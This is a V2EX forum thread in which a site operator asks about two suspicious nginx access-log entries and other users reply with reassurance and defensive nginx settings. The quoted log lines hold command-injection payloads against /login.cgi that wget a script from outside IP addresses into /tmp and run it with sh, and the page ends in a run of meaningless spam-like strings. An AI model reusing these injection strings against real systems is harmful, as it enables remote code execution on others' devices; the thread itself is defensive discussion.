nginx 安全问题 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
bephbin
V2EX    NGINX

nginx 安全问题

  •  1
     
  •   bephbin 2018-08-22 00:02:28 +08:00 6110 次点击
    这是一个创建于 2610 天前的主题,其中的信息可能已经有所发展或是发生改变。

    翻看 access.log 时发现有 2 条记录疑似 web 攻击

    日志的格式是这样的: '$remote_addr | $remote_user | $host | $http_host [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'

    41.42.156.85 | - | _ | - [21/Aug/2018:17:06:15 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.32.32.156/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0" "-"

    208.102.74.74 | - | _ | - [21/Aug/2018:20:16:31 +0900] "GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1" 400 173 "-" "Gemini/2.0" "-"

    我从日志也看不出是通过哪个 host 访问的

    请问这个 400 状态会有安全问题吗?

    能否把这种请求返回 444 状态码?

    14 条回复    2018-08-24 10:28:38 +08:00
    billlee
        1
    billlee  
       2018-08-22 00:07:11 +08:00
    扫描而已,不用太紧张
    voocel
        2
    voocel  
       2018-08-22 02:19:08 +08:00 via Android
    不要慌,问题不大
    iCodex
        3
    iCodex  
       2018-08-22 03:49:42 +08:00
    实在是不爽的话?把这些流量全部 302 跳转到你想他们看到的地方去,比如你也搞个蜜罐,或者放一些恐怖恶心的东西?反正人家不是通过你的域名进来的,考虑那么多干嘛呢~
    Livid
        4
    Livid  
    MOD
    PRO
       2018-08-22 04:12:33 +08:00
    如果看不出是从哪个 host 访问的,那么很可能就是直接从 IP 访问的。

    这种扫描本身问题不大,但是让你的服务暴露在 IP (或者任意域名)下面,是一个更大的问题。
    lslqtz
        5
    lslqtz  
       2018-08-22 04:56:28 +08:00
    对 IP 的访问,我认为返回 403 是一种合适的选择,除非是你想要看到的特定条件( UA/Host/IP )。
        6
    luozic  
       2018-08-22 05:24:12 +08:00 via iPhone
    非合法链接直接跳个统一 404
    totland
        7
    totland  
       2018-08-22 08:56:32 +08:00
    ip 访问 return444 就行了
    sujin190
        8
    sujin190  
       2018-08-22 09:52:30 +08:00
    如果是用云的话,似乎无论是阿里云、腾讯云还是 ucloud,他们都有常规的 web 漏洞扫描,不过也影响不大
    huangzxx
        9
    huangzxx  
       2018-08-22 11:27:49 +08:00
    ip 访问,返回 444

    ```
    server {
    listen 80 default_server;
    server_name _;
    return 301 https://$host$request_uri;
    }

    server {
    listen 443 default_server ssl http2;
    server_name _;

    include ssl/ssl.conf;

    location / {
    return 444;
    }

    access_log off;
    }

    ```
    bephbin
        10
    bephbin  
    OP
       2018-08-22 19:25:03 +08:00
    @iCodex
    @Livid
    @luozic
    @sujin190
    @huangzxx


    谢谢各位的回答

    自己用 telnet ip 80 的方式重现了日志里的 400 错误。问题是 nginx 对于这种方式的请求是怎么处理的,能返回 444 吗?
    luozic
        11
    luozic  
       2018-08-22 20:49:29 +08:00
    返回 444 干吊,直接扔 404 默认不行么?
    Livid
        12
    Livid  
    MOD
    PRO
       2018-08-23 10:29:52 +08:00
    有的时候你会遇到一种尴尬的恶意情况,就是有人把不属于你的域名指到你的 IP。如果这个 IP 还是一个国内的 IP,那么有可能当地的通管局就会通过 ISP 找你麻烦说未备案域名指向,这种情况下,符合通管局要求的处理方式就是返回 404。
    ztlong
        13
    ztlong  
       2018-08-24 10:11:27 +08:00
    不看不知道,看到这条帖子把所有非注册的主机名访问日志全打了出来,发现这个 IP 一直发 CONNECT,查了好像是代理请求,我的机器是被当跳板了么,返回不成功还一直试,难道是越挫越勇?
    [24/Aug/2018:07:57:06 +0800] 50.118.255.23 - "http://proxyjudge.us" - "GET http://proxyjudge.us/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    [24/Aug/2018:07:57:07 +0800] 50.118.255.23 - "http://-" - "CONNECT www.alipay.com:443 HTTP/1.1" 400 173 "-" "-" "-"
    [24/Aug/2018:09:01:08 +0800] 50.118.255.23 - "http://fr.cyberpods.net" - "GET http://fr.cyberpods.net/ HTTP/1.1" 501 583 "-" "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Trident/5.0)" "-"
    ztlong
        14
    ztlong  
       2018-08-24 10:28:38 +08:00
    这个是日志格式:'[$time_local] $remote_addr - "$scheme://$http_host" $remote_user "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     947 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 36ms UTC 20:05 PVG 04:05 LAX 13:05 JFK 16:05
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86